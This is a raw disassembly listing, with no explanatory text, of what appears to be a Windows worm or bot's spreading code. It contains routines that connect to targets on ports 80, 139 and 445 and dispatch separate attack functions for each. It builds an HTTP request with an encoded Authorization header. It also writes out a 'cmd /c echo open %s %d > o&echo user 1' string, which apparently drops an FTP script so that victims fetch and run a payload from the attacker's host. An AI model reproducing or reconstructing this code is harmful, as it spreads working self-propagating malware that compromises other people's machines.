arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_431D20
		push	[ebp+arg_0]
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 48h
		jnz	short loc_40D019
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE40
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D019
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01D


loc_40D019:				; CODE XREF: sub_40CFDE+1Bj
					; sub_40CFDE+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D01D:				; CODE XREF: sub_40CFDE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF04
		add	esp, 0Ch
		leave
		retn
sub_40CFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D030	proc near		; CODE XREF: sub_40D07C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D030	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07C	proc near		; CODE XREF: sub_40D21E+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B3
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D030
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62E


loc_40D0BE:				; CODE XREF: sub_40D07C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DB
		mov	ebx, [ebp+10h]


loc_40D0CD:				; CODE XREF: sub_40D07C+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D7
		push	3
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0D7:				; CODE XREF: sub_40D07C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E1
		push	2
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0E1:				; CODE XREF: sub_40D07C+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EA
		push	1


loc_40D0E9:				; CODE XREF: sub_40D07C+59j
					; sub_40D07C+63j
		pop	ebx


loc_40D0EA:				; CODE XREF: sub_40D07C+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D129
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D129:				; CODE XREF: sub_40D07C+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D197
		add	[ebp-18h], eax


loc_40D17B:				; CODE XREF: sub_40D07C+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_431D6C[eax]
		push	eax
		push	1
		call	sub_40D4B0
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17B


loc_40D197:				; CODE XREF: sub_40D07C+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B5
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D509
		mov	[ebp-18h], edi


loc_40D1B5:				; CODE XREF: sub_40D07C+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1CF
		sub	esi, [ebp-1Ch]


loc_40D1C0:				; CODE XREF: sub_40D07C+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B0
		dec	esi
		jnz	short loc_40D1C0


loc_40D1CF:				; CODE XREF: sub_40D07C+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CD
		push	1
		pop	ebx


loc_40D1DB:				; CODE XREF: sub_40D07C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D560
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21E	proc near		; CODE XREF: ___:0040D41Bp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D128
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D268
		xor	bl, bl
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------


loc_40D268:				; CODE XREF: sub_40D21E+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D276
		mov	ecx, eax


loc_40D276:				; CODE XREF: sub_40D21E+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27E
		mov	eax, [ebp+18h]


loc_40D27E:				; CODE XREF: sub_40D21E+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, esi
		jz	short loc_40D2A3
		xor	bl, bl
		jmp	short loc_40D2A5
; ---------------------------------------------------------------------------


loc_40D2A3:				; CODE XREF: sub_40D21E+7Fj
		mov	bl, 1


loc_40D2A5:				; CODE XREF: sub_40D21E+83j
		push	edi
		call	sub_41B0B1
		pop	ecx


loc_40D2AC:				; CODE XREF: sub_40D21E+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B3
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_431F18
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CACB0
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_431DB0
		push	eax
		call	sub_40CADA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D377
		xor	eax, eax
		jmp	loc_40D4A3
; ---------------------------------------------------------------------------


loc_40D377:				; CODE XREF: ___:0040D36Ej
		mov	[ebp-0Ch], esi


loc_40D37A:				; CODE XREF: ___:0040D47Aj
		test	esi, esi
		jnz	loc_40D480
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D468
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CAF74
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFB4
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45D
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D425
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6EF
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21E
		add	esp, 1Ch
		jmp	short loc_40D45A
; ---------------------------------------------------------------------------


loc_40D425:				; CODE XREF: ___:0040D3E3j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D43F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDE
		jmp	short loc_40D457
; ---------------------------------------------------------------------------


loc_40D43F:				; CODE XREF: ___:0040D42Fj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF04


loc_40D457:				; CODE XREF: ___:0040D43Dj
		add	esp, 0Ch


loc_40D45A:				; CODE XREF: ___:0040D423j
		movzx	esi, al


loc_40D45D:				; CODE XREF: ___:0040D3D6j
					; ___:0040D449j
		push	ebx
		call	dword_4CB00C
		test	esi, esi
		jnz	short loc_40D473


loc_40D468:				; CODE XREF: ___:0040D393j
		push	3E8h
		nop
		call	near ptr 2660F2Bh


loc_40D473:				; CODE XREF: ___:0040D466j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37A


loc_40D480:				; CODE XREF: ___:0040D37Cj
		lea	ecx, [ebp-8]
		call	sub_40C8FF
		test	esi, esi
		jz	short loc_40D4A1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431418[eax]
		lea	eax, dword_431418[eax]


loc_40D4A1:				; CODE XREF: ___:0040D48Aj
		mov	eax, esi


loc_40D4A3:				; CODE XREF: ___:0040D372j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8


loc_40D4A8:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B3
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B0	proc near		; CODE XREF: sub_40D07C+110p
					; sub_40D07C+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CA
		call	sub_42669A


loc_40D4CA:				; CODE XREF: sub_40D4B0+13j
		test	ebx, ebx
		jbe	short loc_40D501
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D501
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D501:				; CODE XREF: sub_40D4B0+1Cj
					; sub_40D4B0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D509	proc near		; CODE XREF: sub_40D07C+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D523
		call	sub_42669A


loc_40D523:				; CODE XREF: sub_40D509+13j
		test	ebx, ebx
		jbe	short loc_40D558
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D558
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D558:				; CODE XREF: sub_40D509+1Cj
					; sub_40D509+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D560	proc near		; CODE XREF: sub_40D07C+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D578
		call	sub_426573


loc_40D578:				; CODE XREF: sub_40D560+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58A
		mov	esi, [ebp+arg_8]


loc_40D58A:				; CODE XREF: sub_40D560+25j
		cmp	edi, ebx
		jnz	short loc_40D5AC
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D724
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D724
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5AC:				; CODE XREF: sub_40D560+2Cj
		test	esi, esi
		jbe	short loc_40D5EF
		cmp	esi, eax
		jnz	short loc_40D5EF
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C0
		mov	eax, offset dword_4276A8


loc_40D5C0:				; CODE XREF: sub_40D560+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5EF
		push	1
		mov	ecx, edi
		call	sub_40D6B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DB
		mov	eax, offset dword_4276A8


loc_40D5DB:				; CODE XREF: sub_40D560+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5EF:				; CODE XREF: sub_40D560+4Ej
					; sub_40D560+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D625
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D609
		mov	eax, offset dword_4276A8


loc_40D609:				; CODE XREF: sub_40D560+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D625:				; CODE XREF: sub_40D560+4Aj
					; sub_40D560+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D560	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62E	proc near		; CODE XREF: sub_40D07C+3Dp
					; sub_40D4B0+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D640
		call	sub_42669A


loc_40D640:				; CODE XREF: sub_40D62E+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D669
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D669
		cmp	al, 0FFh
		jz	short loc_40D669
		cmp	edi, edx
		jnz	short loc_40D6A4
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D65E:				; CODE XREF: sub_40D62E+47j
		mov	ecx, esi
		call	sub_40D6B3


loc_40D665:				; CODE XREF: sub_40D62E+4Bj
					; sub_40D62E+52j
		xor	al, al
		jmp	short loc_40D6AE
; ---------------------------------------------------------------------------


loc_40D669:				; CODE XREF: sub_40D62E+19j
					; sub_40D62E+20j ...
		cmp	edi, edx
		jnz	short loc_40D682
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D677
		push	1
		jmp	short loc_40D65E
; ---------------------------------------------------------------------------


loc_40D677:				; CODE XREF: sub_40D62E+43j
		cmp	ecx, edx
		jz	short loc_40D665
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D665
; ---------------------------------------------------------------------------


loc_40D682:				; CODE XREF: sub_40D62E+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D69F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D694
		cmp	eax, edi
		jnb	short loc_40D6AC


loc_40D694:				; CODE XREF: sub_40D62E+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		jmp	short loc_40D6A4
; ---------------------------------------------------------------------------


loc_40D69F:				; CODE XREF: sub_40D62E+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AC


loc_40D6A4:				; CODE XREF: sub_40D62E+28j
					; sub_40D62E+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78B


loc_40D6AC:				; CODE XREF: sub_40D62E+64j
					; sub_40D62E+74j
		mov	al, 1


loc_40D6AE:				; CODE XREF: sub_40D62E+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B3	proc near		; CODE XREF: sub_40D07C+1Fp
					; sub_40D07C+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6DF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6DF
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D8
		cmp	al, 0FFh
		jz	short loc_40D6D8
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6DF
; ---------------------------------------------------------------------------


loc_40D6D8:				; CODE XREF: sub_40D6B3+19j
					; sub_40D6B3+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx


loc_40D6DF:				; CODE XREF: sub_40D6B3+8j
					; sub_40D6B3+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6EF	proc near		; CODE XREF: ___:0040D40Fp
					; sub_40D848+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D71D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D71D:				; CODE XREF: sub_40D6EF+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D724	proc near		; CODE XREF: sub_40D560+39p
					; sub_40D560+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D737
		call	sub_426573


loc_40D737:				; CODE XREF: sub_40D724+Cj
		mov	ecx, edi
		call	sub_40D848
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74D
		mov	ebx, eax


loc_40D74D:				; CODE XREF: sub_40D724+25j
		test	ebx, ebx
		jbe	short loc_40D783
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D783
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D783:				; CODE XREF: sub_40D724+2Bj
					; sub_40D724+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78B	proc near		; CODE XREF: sub_40D62E+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B1
		mov	edi, [ebp+8]


loc_40D7B1:				; CODE XREF: sub_40D78B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BE
		xor	eax, eax


loc_40D7BE:				; CODE XREF: sub_40D78B+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7EF
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7D9
		xor	eax, eax


loc_40D7D9:				; CODE XREF: sub_40D78B+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7E9
		retn
; ---------------------------------------------------------------------------


loc_40D7E9:				; DATA XREF: sub_40D78B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D7EF:				; CODE XREF: sub_40D78B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80D
		cmp	eax, edi
		jbe	short loc_40D7FC
		mov	eax, edi


loc_40D7FC:				; CODE XREF: sub_40D78B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_40D80D:				; CODE XREF: sub_40D78B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82D
		mov	edi, ebx


loc_40D82D:				; CODE XREF: sub_40D78B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D848	proc near		; CODE XREF: sub_40D724+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D875
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D875
		cmp	al, 0FFh
		jz	short loc_40D875
		push	1
		call	sub_40D6B3
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6EF


loc_40D875:				; CODE XREF: sub_40D848+9j
					; sub_40D848+10j ...
		pop	edi
		pop	esi
		retn
sub_40D848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D878	proc near		; DATA XREF: ___:00429008o
		test	byte_4DB594, 1
		jnz	short loc_40D888
		or	byte_4DB594, 1


loc_40D888:				; CODE XREF: sub_40D878+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D878	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89A	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D89F	proc near
		mov	eax, dword_4321D0
		add	eax, 6
		mov	dword_4CDC94, eax
		retn
sub_40D89F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AD	proc near		; CODE XREF: sub_40D8AD+D0p
					; ___:0040DE0Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C1
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C5
; ---------------------------------------------------------------------------


loc_40D8C1:				; CODE XREF: sub_40D8AD+Cj
		and	[ebp+arg_7], 0FEh


loc_40D8C5:				; CODE XREF: sub_40D8AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FB
; ---------------------------------------------------------------------------


loc_40D8E9:				; CODE XREF: sub_40D8AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D8FB:				; CODE XREF: sub_40D8AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D994
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_40D98B
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98B
		push	[ebp+arg_20]
